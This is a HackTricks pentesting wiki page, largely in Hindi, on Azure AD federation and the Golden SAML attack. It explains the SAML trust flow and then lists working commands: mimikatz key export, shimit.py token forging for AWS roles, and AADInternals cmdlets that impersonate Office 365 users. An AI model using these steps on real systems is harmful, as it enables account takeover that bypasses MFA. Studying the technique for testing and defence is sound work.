Az - Federation

Support HackTricks

Basic Information

From the docs: Federation एक डोमेन का संग्रह है जिसने विश्वास स्थापित किया है। विश्वास का स्तर भिन्न हो सकता है, लेकिन आमतौर पर इसमें प्रमाणीकरण शामिल होता है और लगभग हमेशा प्राधिकरण शामिल होता है। एक सामान्य संघ में कई संगठन शामिल हो सकते हैं जिन्होंने संसाधनों के एक सेट तक साझा पहुंच के लिए विश्वास स्थापित किया है।

आप अपने ऑन-प्रिमाइसेस वातावरण को Azure AD के साथ फेडरेट कर सकते हैं और प्रमाणीकरण और प्राधिकरण के लिए इस संघ का उपयोग कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता प्रमाणीकरण ऑन-प्रिमाइसेस होता है। यह विधि प्रशासकों को अधिक कठोर स्तर के एक्सेस नियंत्रण को लागू करने की अनुमति देती है। AD FS और PingFederate के साथ संघ उपलब्ध है।

मूल रूप से, संघ में, सभी प्रमाणीकरण ऑन-प्रिम वातावरण में होता है और उपयोगकर्ता सभी विश्वसनीय वातावरणों में SSO का अनुभव करते हैं। इसलिए, उपयोगकर्ता अपने ऑन-प्रिम क्रेडेंशियल्स का उपयोग करके क्लाउड अनुप्रयोगों तक पहुंच सकते हैं।

Security Assertion Markup Language (SAML) का उपयोग प्रदाता के बीच सभी प्रमाणीकरण और प्राधिकरण जानकारी के आदान-प्रदान के लिए किया जाता है।

किसी भी संघ सेटअप में तीन पक्ष होते हैं:

  • उपयोगकर्ता या क्लाइंट

  • पहचान प्रदाता (IdP)

  • सेवा प्रदाता (SP)

(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. प्रारंभ में, एक उपयोगकर्ता द्वारा एक एप्लिकेशन (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोग किया जाता है। इस चरण को बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जा सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।

  2. इसके बाद, SP उपयोगकर्ता प्रमाणीकरण के लिए उपयुक्त IdP (जैसे, AD FS, Okta) की पहचान करता है। फिर यह एक SAML (Security Assertion Markup Language) AuthnRequest तैयार करता है और क्लाइंट को चुने हुए IdP पर पुनः निर्देशित करता है।

  3. IdP कार्यभार संभालता है, उपयोगकर्ता को प्रमाणित करता है। प्रमाणीकरण के बाद, IdP द्वारा एक SAMLResponse तैयार किया जाता है और उपयोगकर्ता के माध्यम से SP को अग्रेषित किया जाता है।

  4. अंत में, SP SAMLResponse का मूल्यांकन करता है। यदि सफलतापूर्वक मान्य हो जाता है, जिसका अर्थ है कि IdP के साथ एक विश्वास संबंध है, तो उपयोगकर्ता को पहुंच प्रदान की जाती है। यह लॉगिन प्रक्रिया का समापन करता है, जिससे उपयोगकर्ता सेवा का उपयोग कर सकता है।

यदि आप SAML प्रमाणीकरण और सामान्य हमलों के बारे में अधिक जानना चाहते हैं तो जाएं:

Pivoting

  • AD FS एक दावों-आधारित पहचान मॉडल है।

  • "..दावे केवल उपयोगकर्ताओं के बारे में कथन हैं (उदाहरण के लिए, नाम, पहचान, समूह), जो मुख्य रूप से इंटरनेट पर कहीं भी स्थित दावों-आधारित अनुप्रयोगों तक पहुंच को अधिकृत करने के लिए उपयोग किए जाते हैं।"

  • उपयोगकर्ता के लिए दावे SAML टोकन के अंदर लिखे जाते हैं और फिर IdP द्वारा गोपनीयता प्रदान करने के लिए हस्ताक्षरित होते हैं।

  • एक उपयोगकर्ता को ImmutableID द्वारा पहचाना जाता है। यह वैश्विक रूप से अद्वितीय है और Azure AD में संग्रहीत है।

  • उपयोगकर्ता के लिए ms-DS-ConsistencyGuid के रूप में ऑन-प्रिम में ImmutableID संग्रहीत होता है और/या उपयोगकर्ता के GUID से प्राप्त किया जा सकता है।

Golden SAML attack:

  • ADFS में, SAML प्रतिक्रिया एक टोकन-हस्ताक्षर प्रमाणपत्र द्वारा हस्ताक्षरित होती है।

  • यदि प्रमाणपत्र से समझौता किया जाता है, तो Azure AD के लिए किसी भी उपयोगकर्ता के रूप में प्रमाणित करना संभव है जो Azure AD के साथ सिंक किया गया है!

  • हमारे PTA दुरुपयोग की तरह, उपयोगकर्ता के लिए पासवर्ड परिवर्तन या MFA का कोई प्रभाव नहीं पड़ेगा क्योंकि हम प्रमाणीकरण प्रतिक्रिया को जाली बना रहे हैं।

  • प्रमाणपत्र को DA विशेषाधिकारों के साथ AD FS सर्वर से निकाला जा सकता है और फिर इसे किसी भी इंटरनेट से जुड़े मशीन से उपयोग किया जा सकता है।

Golden SAML

प्रक्रिया जहां एक पहचान प्रदाता (IdP) उपयोगकर्ता साइन-इन को अधिकृत करने के लिए एक SAMLResponse उत्पन्न करता है, महत्वपूर्ण है। IdP के विशिष्ट कार्यान्वयन के आधार पर, प्रतिक्रिया को IdP की निजी कुंजी का उपयोग करके हस्ताक्षरित या एन्क्रिप्टेड किया जा सकता है। यह प्रक्रिया सेवा प्रदाता (SP) को SAMLResponse की प्रामाणिकता की पुष्टि करने में सक्षम बनाती है, यह सुनिश्चित करते हुए कि यह वास्तव में एक विश्वसनीय IdP द्वारा जारी किया गया था।

गोल्डन टिकट अटैक के साथ एक समानांतर खींचा जा सकता है, जहां उपयोगकर्ता की पहचान और अनुमतियों को प्रमाणित करने वाली कुंजी (गोल्डन टिकट के लिए KRBTGT, गोल्डन SAML के लिए टोकन-हस्ताक्षर निजी कुंजी) को प्रमाणीकरण वस्तु (TGT या SAMLResponse) को जाली बनाने के लिए हेरफेर किया जा सकता है। यह किसी भी उपयोगकर्ता का प्रतिरूपण करने की अनुमति देता है, जिससे SP तक अनधिकृत पहुंच प्राप्त होती है।

गोल्डन SAML के कुछ फायदे हैं:

  • इन्हें दूरस्थ रूप से बनाया जा सकता है, प्रश्न में डोमेन या संघ का हिस्सा होने की आवश्यकता नहीं है।

  • ये टू-फैक्टर ऑथेंटिकेशन (2FA) सक्षम होने पर भी प्रभावी रहते हैं।

  • टोकन-हस्ताक्षर निजी कुंजी स्वचालित रूप से नवीनीकृत नहीं होती

  • उपयोगकर्ता का पासवर्ड बदलने से पहले से उत्पन्न SAML अमान्य नहीं होता है।

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) एक Microsoft सेवा है जो विश्वसनीय व्यावसायिक भागीदारों (संघ) के बीच पहचान जानकारी के सुरक्षित आदान-प्रदान की सुविधा प्रदान करती है। यह मूल रूप से एक डोमेन सेवा को एक संघ के भीतर अन्य सेवा प्रदाताओं के साथ उपयोगकर्ता पहचान साझा करने की अनुमति देता है।

AWS के साथ समझौता किए गए डोमेन (एक संघ में) पर भरोसा करते हुए, इस भेद्यता का शोषण करके संभावित रूप से AWS वातावरण में किसी भी अनुमतियों को प्राप्त किया जा सकता है। हमले के लिए SAML वस्तुओं पर हस्ताक्षर करने के लिए उपयोग की जाने वाली निजी कुंजी की आवश्यकता होती है, जैसे कि गोल्डन टिकट हमले में KRBTGT की आवश्यकता होती है। इस निजी कुंजी को प्राप्त करने के लिए AD FS उपयोगकर्ता खाते तक पहुंच पर्याप्त है।

गोल्डन SAML हमले को निष्पादित करने के लिए आवश्यकताएँ शामिल हैं:

  • टोकन-हस्ताक्षर निजी कुंजी

  • IdP सार्वजनिक प्रमाणपत्र

  • IdP नाम

  • भूमिका नाम (भूमिका को ग्रहण करना)

  • डोमेन\उपयोगकर्ता नाम

  • AWS में भूमिका सत्र नाम

  • अमेज़न खाता आईडी

केवल बोल्ड में आइटम अनिवार्य हैं। अन्य को इच्छानुसार भरा जा सकता है।

निजी कुंजी प्राप्त करने के लिए, AD FS उपयोगकर्ता खाते तक पहुंच आवश्यक है। वहां से, निजी कुंजी को व्यक्तिगत स्टोर से निर्यात किया जा सकता है जैसे उपकरणों का उपयोग करके mimikatz। अन्य आवश्यक जानकारी एकत्र करने के लिए, आप Microsoft.Adfs.Powershell स्नैपिन का उपयोग कर सकते हैं, यह सुनिश्चित करते हुए कि आप ADFS उपयोगकर्ता के रूप में लॉग इन हैं:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

सारी जानकारी के साथ, यह संभव है कि आप उस उपयोगकर्ता के रूप में एक वैध SAMLResponse भूल सकते हैं जिसे आप shimit का उपयोग करके प्रतिरूपित करना चाहते हैं**:**

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

ऑन-प्रेम -> क्लाउड

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

यह भी संभव है कि केवल क्लाउड उपयोगकर्ताओं का ImmutableID बनाया जाए और उनका प्रतिरूपण किया जाए।

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

संदर्भ

HackTricks को समर्थन दें

Last updated